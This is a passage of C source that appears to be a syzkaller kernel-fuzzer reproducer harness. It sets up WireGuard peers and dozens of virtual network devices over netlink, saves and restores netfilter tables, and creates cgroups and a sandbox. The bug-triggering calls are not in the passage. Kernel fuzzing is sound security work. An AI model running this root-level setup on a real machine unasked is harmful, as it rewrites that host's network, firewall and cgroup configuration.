netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err) {
}
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_b, strlen(ifname_b) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_b, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_b, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6,
sizeof(endpoint_a_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[2], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v4,
sizeof(endpoint_c_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[3], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err) {
}
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_c, strlen(ifname_c) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_c, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_c, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6,
sizeof(endpoint_a_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[4], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4,
sizeof(endpoint_b_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[5], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err) {
}
error:
close(sock);
}
static void initialize_netdevices(void)
{
char netdevsim[16];
sprintf(netdevsim, "netdevsim%d", (int)procid);
struct {
const char* type;
const char* dev;
} devtypes[] = {
{"ip6gretap", "ip6gretap0"}, {"bridge", "bridge0"},
{"vcan", "vcan0"}, {"bond", "bond0"},
{"team", "team0"}, {"dummy", "dummy0"},
{"nlmon", "nlmon0"}, {"caif", "caif0"},
{"batadv", "batadv0"}, {"vxcan", "vxcan1"},
{"netdevsim", netdevsim}, {"veth", 0},
{"xfrm", "xfrm0"}, {"wireguard", "wg0"},
{"wireguard", "wg1"}, {"wireguard", "wg2"},
};
const char* devmasters[] = {"bridge", "bond", "team", "batadv"};
struct {
const char* name;
int macsize;
bool noipv6;
} devices[] = {
{"lo", ETH_ALEN},
{"sit0", 0},
{"bridge0", ETH_ALEN},
{"vcan0", 0, true},
{"tunl0", 0},
{"gre0", 0},
{"gretap0", ETH_ALEN},
{"ip_vti0", 0},
{"ip6_vti0", 0},
{"ip6tnl0", 0},
{"ip6gre0", 0},
{"ip6gretap0", ETH_ALEN},
{"erspan0", ETH_ALEN},
{"bond0", ETH_ALEN},
{"veth0", ETH_ALEN},
{"veth1", ETH_ALEN},
{"team0", ETH_ALEN},
{"veth0_to_bridge", ETH_ALEN},
{"veth1_to_bridge", ETH_ALEN},
{"veth0_to_bond", ETH_ALEN},
{"veth1_to_bond", ETH_ALEN},
{"veth0_to_team", ETH_ALEN},
{"veth1_to_team", ETH_ALEN},
{"veth0_to_hsr", ETH_ALEN},
{"veth1_to_hsr", ETH_ALEN},
{"hsr0", 0},
{"dummy0", ETH_ALEN},
{"nlmon0", 0},
{"vxcan0", 0, true},
{"vxcan1", 0, true},
{"caif0", ETH_ALEN},
{"batadv0", ETH_ALEN},
{netdevsim, ETH_ALEN},
{"xfrm0", ETH_ALEN},
{"veth0_virt_wifi", ETH_ALEN},
{"veth1_virt_wifi", ETH_ALEN},
{"virt_wifi0", ETH_ALEN},
{"veth0_vlan", ETH_ALEN},
{"veth1_vlan", ETH_ALEN},
{"vlan0", ETH_ALEN},
{"vlan1", ETH_ALEN},
{"macvlan0", ETH_ALEN},
{"macvlan1", ETH_ALEN},
{"ipvlan0", ETH_ALEN},
{"ipvlan1", ETH_ALEN},
{"veth0_macvtap", ETH_ALEN},
{"veth1_macvtap", ETH_ALEN},
{"macvtap0", ETH_ALEN},
{"macsec0", ETH_ALEN},
{"veth0_to_batadv", ETH_ALEN},
{"veth1_to_batadv", ETH_ALEN},
{"batadv_slave_0", ETH_ALEN},
{"batadv_slave_1", ETH_ALEN},
{"geneve0", ETH_ALEN},
{"geneve1", ETH_ALEN},
{"wg0", 0},
{"wg1", 0},
{"wg2", 0},
};
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++)
netlink_add_device(&nlmsg, sock, devtypes[i].type, devtypes[i].dev);
for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) {
char master[32], slave0[32], veth0[32], slave1[32], veth1[32];
sprintf(slave0, "%s_slave_0", devmasters[i]);
sprintf(veth0, "veth0_to_%s", devmasters[i]);
netlink_add_veth(&nlmsg, sock, slave0, veth0);
sprintf(slave1, "%s_slave_1", devmasters[i]);
sprintf(veth1, "veth1_to_%s", devmasters[i]);
netlink_add_veth(&nlmsg, sock, slave1, veth1);
sprintf(master, "%s0", devmasters[i]);
netlink_device_change(&nlmsg, sock, slave0, false, master, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, slave1, false, master, 0, 0, NULL);
}
netlink_device_change(&nlmsg, sock, "bridge_slave_0", true, 0, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, "bridge_slave_1", true, 0, 0, 0, NULL);
netlink_add_veth(&nlmsg, sock, "hsr_slave_0", "veth0_to_hsr");
netlink_add_veth(&nlmsg, sock, "hsr_slave_1", "veth1_to_hsr");
netlink_add_hsr(&nlmsg, sock, "hsr0", "hsr_slave_0", "hsr_slave_1");
netlink_device_change(&nlmsg, sock, "hsr_slave_0", true, 0, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, "hsr_slave_1", true, 0, 0, 0, NULL);
netlink_add_veth(&nlmsg, sock, "veth0_virt_wifi", "veth1_virt_wifi");
netlink_add_linked(&nlmsg, sock, "virt_wifi", "virt_wifi0",
"veth1_virt_wifi");
netlink_add_veth(&nlmsg, sock, "veth0_vlan", "veth1_vlan");
netlink_add_vlan(&nlmsg, sock, "vlan0", "veth0_vlan", 0, htons(ETH_P_8021Q));
netlink_add_vlan(&nlmsg, sock, "vlan1", "veth0_vlan", 1, htons(ETH_P_8021AD));
netlink_add_macvlan(&nlmsg, sock, "macvlan0", "veth1_vlan");
netlink_add_macvlan(&nlmsg, sock, "macvlan1", "veth1_vlan");
netlink_add_ipvlan(&nlmsg, sock, "ipvlan0", "veth0_vlan", IPVLAN_MODE_L2, 0);
netlink_add_ipvlan(&nlmsg, sock, "ipvlan1", "veth0_vlan", IPVLAN_MODE_L3S,
IPVLAN_F_VEPA);
netlink_add_veth(&nlmsg, sock, "veth0_macvtap", "veth1_macvtap");
netlink_add_linked(&nlmsg, sock, "macvtap", "macvtap0", "veth0_macvtap");
netlink_add_linked(&nlmsg, sock, "macsec", "macsec0", "veth1_macvtap");
char addr[32];
sprintf(addr, DEV_IPV4, 14 + 10);
struct in_addr geneve_addr4;
if (inet_pton(AF_INET, addr, &geneve_addr4) <= 0)
exit(1);
struct in6_addr geneve_addr6;
if (inet_pton(AF_INET6, "fc00::01", &geneve_addr6) <= 0)
exit(1);
netlink_add_geneve(&nlmsg, sock, "geneve0", 0, &geneve_addr4, 0);
netlink_add_geneve(&nlmsg, sock, "geneve1", 1, 0, &geneve_addr6);
netdevsim_add((int)procid, 4);
netlink_wireguard_setup();
for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) {
char addr[32];
sprintf(addr, DEV_IPV4, i + 10);
netlink_add_addr4(&nlmsg, sock, devices[i].name, addr);
if (!devices[i].noipv6) {
sprintf(addr, DEV_IPV6, i + 10);
netlink_add_addr6(&nlmsg, sock, devices[i].name, addr);
}
uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40);
netlink_device_change(&nlmsg, sock, devices[i].name, true, 0, &macaddr,
devices[i].macsize, NULL);
}
close(sock);
}
static void initialize_netdevices_init(void)
{
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
struct {
const char* type;
int macsize;
bool noipv6;
bool noup;
} devtypes[] = {
{"nr", 7, true},
{"rose", 5, true, true},
};
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) {
char dev[32], addr[32];
sprintf(dev, "%s%d", devtypes[i].type, (int)procid);
sprintf(addr, "172.30.%d.%d", i, (int)procid + 1);
netlink_add_addr4(&nlmsg, sock, dev, addr);
if (!devtypes[i].noipv6) {
sprintf(addr, "fe88::%02x:%02x", i, (int)procid + 1);
netlink_add_addr6(&nlmsg, sock, dev, addr);
}
int macsize = devtypes[i].macsize;
uint64_t macaddr = 0xbbbbbb +
((unsigned long long)i << (8 * (macsize - 2))) +
(procid << (8 * (macsize - 1)));
netlink_device_change(&nlmsg, sock, dev, !devtypes[i].noup, 0, &macaddr,
macsize, NULL);
}
close(sock);
}
static int read_tun(char* data, int size)
{
if (tunfd < 0)
return -1;
int rv = read(tunfd, data, size);
if (rv < 0) {
if (errno == EAGAIN || errno == EBADFD)
return -1;
exit(1);
}
return rv;
}
static void flush_tun()
{
char data[1000];
while (read_tun(&data[0], sizeof(data)) != -1) {
}
}
#define MAX_FDS 30
#define XT_TABLE_SIZE 1536
#define XT_MAX_ENTRIES 10
struct xt_counters {
uint64_t pcnt, bcnt;
};
struct ipt_getinfo {
char name[32];
unsigned int valid_hooks;
unsigned int hook_entry[5];
unsigned int underflow[5];
unsigned int num_entries;
unsigned int size;
};
struct ipt_get_entries {
char name[32];
unsigned int size;
void* entrytable[XT_TABLE_SIZE / sizeof(void*)];
};
struct ipt_replace {
char name[32];
unsigned int valid_hooks;
unsigned int num_entries;
unsigned int size;
unsigned int hook_entry[5];
unsigned int underflow[5];
unsigned int num_counters;
struct xt_counters* counters;
char entrytable[XT_TABLE_SIZE];
};
struct ipt_table_desc {
const char* name;
struct ipt_getinfo info;
struct ipt_replace replace;
};
static struct ipt_table_desc ipv4_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "mangle"},
{.name = "raw"}, {.name = "security"},
};
static struct ipt_table_desc ipv6_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "mangle"},
{.name = "raw"}, {.name = "security"},
};
#define IPT_BASE_CTL 64
#define IPT_SO_SET_REPLACE (IPT_BASE_CTL)
#define IPT_SO_GET_INFO (IPT_BASE_CTL)
#define IPT_SO_GET_ENTRIES (IPT_BASE_CTL + 1)
struct arpt_getinfo {
char name[32];
unsigned int valid_hooks;
unsigned int hook_entry[3];
unsigned int underflow[3];
unsigned int num_entries;
unsigned int size;
};
struct arpt_get_entries {
char name[32];
unsigned int size;
void* entrytable[XT_TABLE_SIZE / sizeof(void*)];
};
struct arpt_replace {
char name[32];
unsigned int valid_hooks;
unsigned int num_entries;
unsigned int size;
unsigned int hook_entry[3];
unsigned int underflow[3];
unsigned int num_counters;
struct xt_counters* counters;
char entrytable[XT_TABLE_SIZE];
};
struct arpt_table_desc {
const char* name;
struct arpt_getinfo info;
struct arpt_replace replace;
};
static struct arpt_table_desc arpt_tables[] = {
{.name = "filter"},
};
#define ARPT_BASE_CTL 96
#define ARPT_SO_SET_REPLACE (ARPT_BASE_CTL)
#define ARPT_SO_GET_INFO (ARPT_BASE_CTL)
#define ARPT_SO_GET_ENTRIES (ARPT_BASE_CTL + 1)
static void checkpoint_iptables(struct ipt_table_desc* tables, int num_tables,
int family, int level)
{
int fd = socket(family, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (int i = 0; i < num_tables; i++) {
struct ipt_table_desc* table = &tables[i];
strcpy(table->info.name, table->name);
strcpy(table->replace.name, table->name);
socklen_t optlen = sizeof(table->info);
if (getsockopt(fd, level, IPT_SO_GET_INFO, &table->info, &optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->info.size > sizeof(table->replace.entrytable))
exit(1);
if (table->info.num_entries > XT_MAX_ENTRIES)
exit(1);
struct ipt_get_entries entries;
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size;
if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
table->replace.valid_hooks = table->info.valid_hooks;
table->replace.num_entries = table->info.num_entries;
table->replace.size = table->info.size;
memcpy(table->replace.hook_entry, table->info.hook_entry,
sizeof(table->replace.hook_entry));
memcpy(table->replace.underflow, table->info.underflow,
sizeof(table->replace.underflow));
memcpy(table->replace.entrytable, entries.entrytable, table->info.size);
}
close(fd);
}
static void reset_iptables(struct ipt_table_desc* tables, int num_tables,
int family, int level)
{
int fd = socket(family, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (int i = 0; i < num_tables; i++) {
struct ipt_table_desc* table = &tables[i];
if (table->info.valid_hooks == 0)
continue;
struct ipt_getinfo info;
memset(&info, 0, sizeof(info));
strcpy(info.name, table->name);
socklen_t optlen = sizeof(info);
if (getsockopt(fd, level, IPT_SO_GET_INFO, &info, &optlen))
exit(1);
if (memcmp(&table->info, &info, sizeof(table->info)) == 0) {
struct ipt_get_entries entries;
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size;
if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
if (memcmp(table->replace.entrytable, entries.entrytable,
table->info.size) == 0)
continue;
}
struct xt_counters counters[XT_MAX_ENTRIES];
table->replace.num_counters = info.num_entries;
table->replace.counters = counters;
optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) +
table->replace.size;
if (setsockopt(fd, level, IPT_SO_SET_REPLACE, &table->replace, optlen))
exit(1);
}
close(fd);
}
static void checkpoint_arptables(void)
{
int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (unsigned i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) {
struct arpt_table_desc* table = &arpt_tables[i];
strcpy(table->info.name, table->name);
strcpy(table->replace.name, table->name);
socklen_t optlen = sizeof(table->info);
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &table->info, &optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->info.size > sizeof(table->replace.entrytable))
exit(1);
if (table->info.num_entries > XT_MAX_ENTRIES)
exit(1);
struct arpt_get_entries entries;
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size;
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
table->replace.valid_hooks = table->info.valid_hooks;
table->replace.num_entries = table->info.num_entries;
table->replace.size = table->info.size;
memcpy(table->replace.hook_entry, table->info.hook_entry,
sizeof(table->replace.hook_entry));
memcpy(table->replace.underflow, table->info.underflow,
sizeof(table->replace.underflow));
memcpy(table->replace.entrytable, entries.entrytable, table->info.size);
}
close(fd);
}
static void reset_arptables()
{
int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (unsigned i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) {
struct arpt_table_desc* table = &arpt_tables[i];
if (table->info.valid_hooks == 0)
continue;
struct arpt_getinfo info;
memset(&info, 0, sizeof(info));
strcpy(info.name, table->name);
socklen_t optlen = sizeof(info);
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &info, &optlen))
exit(1);
if (memcmp(&table->info, &info, sizeof(table->info)) == 0) {
struct arpt_get_entries entries;
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size;
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
if (memcmp(table->replace.entrytable, entries.entrytable,
table->info.size) == 0)
continue;
} else {
}
struct xt_counters counters[XT_MAX_ENTRIES];
table->replace.num_counters = info.num_entries;
table->replace.counters = counters;
optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) +
table->replace.size;
if (setsockopt(fd, SOL_IP, ARPT_SO_SET_REPLACE, &table->replace, optlen))
exit(1);
}
close(fd);
}
#define NF_BR_NUMHOOKS 6
#define EBT_TABLE_MAXNAMELEN 32
#define EBT_CHAIN_MAXNAMELEN 32
#define EBT_BASE_CTL 128
#define EBT_SO_SET_ENTRIES (EBT_BASE_CTL)
#define EBT_SO_GET_INFO (EBT_BASE_CTL)
#define EBT_SO_GET_ENTRIES (EBT_SO_GET_INFO + 1)
#define EBT_SO_GET_INIT_INFO (EBT_SO_GET_ENTRIES + 1)
#define EBT_SO_GET_INIT_ENTRIES (EBT_SO_GET_INIT_INFO + 1)
struct ebt_replace {
char name[EBT_TABLE_MAXNAMELEN];
unsigned int valid_hooks;
unsigned int nentries;
unsigned int entries_size;
struct ebt_entries* hook_entry[NF_BR_NUMHOOKS];
unsigned int num_counters;
struct ebt_counter* counters;
char* entries;
};
struct ebt_entries {
unsigned int distinguisher;
char name[EBT_CHAIN_MAXNAMELEN];
unsigned int counter_offset;
int policy;
unsigned int nentries;
char data[0] __attribute__((aligned(__alignof__(struct ebt_replace))));
};
struct ebt_table_desc {
const char* name;
struct ebt_replace replace;
char entrytable[XT_TABLE_SIZE];
};
static struct ebt_table_desc ebt_tables[] = {
{.name = "filter"},
{.name = "nat"},
{.name = "broute"},
};
static void checkpoint_ebtables(void)
{
int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (size_t i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) {
struct ebt_table_desc* table = &ebt_tables[i];
strcpy(table->replace.name, table->name);
socklen_t optlen = sizeof(table->replace);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_INFO, &table->replace,
&optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->replace.entries_size > sizeof(table->entrytable))
exit(1);
table->replace.num_counters = 0;
table->replace.entries = table->entrytable;
optlen = sizeof(table->replace) + table->replace.entries_size;
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_ENTRIES, &table->replace,
&optlen))
exit(1);
}
close(fd);
}
static void reset_ebtables()
{
int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (unsigned i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) {
struct ebt_table_desc* table = &ebt_tables[i];
if (table->replace.valid_hooks == 0)
continue;
struct ebt_replace replace;
memset(&replace, 0, sizeof(replace));
strcpy(replace.name, table->name);
socklen_t optlen = sizeof(replace);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INFO, &replace, &optlen))
exit(1);
replace.num_counters = 0;
table->replace.entries = 0;
for (unsigned h = 0; h < NF_BR_NUMHOOKS; h++)
table->replace.hook_entry[h] = 0;
if (memcmp(&table->replace, &replace, sizeof(table->replace)) == 0) {
char entrytable[XT_TABLE_SIZE];
memset(&entrytable, 0, sizeof(entrytable));
replace.entries = entrytable;
optlen = sizeof(replace) + replace.entries_size;
if (getsockopt(fd, SOL_IP, EBT_SO_GET_ENTRIES, &replace, &optlen))
exit(1);
if (memcmp(table->entrytable, entrytable, replace.entries_size) == 0)
continue;
}
for (unsigned j = 0, h = 0; h < NF_BR_NUMHOOKS; h++) {
if (table->replace.valid_hooks & (1 << h)) {
table->replace.hook_entry[h] =
(struct ebt_entries*)table->entrytable + j;
j++;
}
}
table->replace.entries = table->entrytable;
optlen = sizeof(table->replace) + table->replace.entries_size;
if (setsockopt(fd, SOL_IP, EBT_SO_SET_ENTRIES, &table->replace, optlen))
exit(1);
}
close(fd);
}
static void checkpoint_net_namespace(void)
{
checkpoint_ebtables();
checkpoint_arptables();
checkpoint_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]),
AF_INET, SOL_IP);
checkpoint_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]),
AF_INET6, SOL_IPV6);
}
static void reset_net_namespace(void)
{
reset_ebtables();
reset_arptables();
reset_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]),
AF_INET, SOL_IP);
reset_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]),
AF_INET6, SOL_IPV6);
}
static void setup_cgroups()
{
if (mkdir("/syzcgroup", 0777)) {
}
if (mkdir("/syzcgroup/unified", 0777)) {
}
if (mount("none", "/syzcgroup/unified", "cgroup2", 0, NULL)) {
}
if (chmod("/syzcgroup/unified", 0777)) {
}
write_file("/syzcgroup/unified/cgroup.subtree_control",
"+cpu +memory +io +pids +rdma");
if (mkdir("/syzcgroup/cpu", 0777)) {
}
if (mount("none", "/syzcgroup/cpu", "cgroup", 0,
"cpuset,cpuacct,perf_event,hugetlb")) {
}
write_file("/syzcgroup/cpu/cgroup.clone_children", "1");
write_file("/syzcgroup/cpu/cpuset.memory_pressure_enabled", "1");
if (chmod("/syzcgroup/cpu", 0777)) {
}
if (mkdir("/syzcgroup/net", 0777)) {
}
if (mount("none", "/syzcgroup/net", "cgroup", 0,
"net_cls,net_prio,devices,freezer")) {
}
if (chmod("/syzcgroup/net", 0777)) {
}
}
static void setup_cgroups_loop()
{
int pid = getpid();
char file[128];
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/pids.max", cgroupdir);
write_file(file, "32");
snprintf(file, sizeof(file), "%s/memory.low", cgroupdir);
write_file(file, "%d", 298 << 20);
snprintf(file, sizeof(file), "%s/memory.high", cgroupdir);
write_file(file, "%d", 299 << 20);
snprintf(file, sizeof(file), "%s/memory.max", cgroupdir);
write_file(file, "%d", 300 << 20);
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
}
static void setup_cgroups_test()
{
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup")) {
}
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup.cpu")) {
}
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup.net")) {
}
}
static void setup_common()
{
if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
}
setup_cgroups();
}
static void loop();
static void sandbox_common()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setsid();
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = (200 << 20);
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 32 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
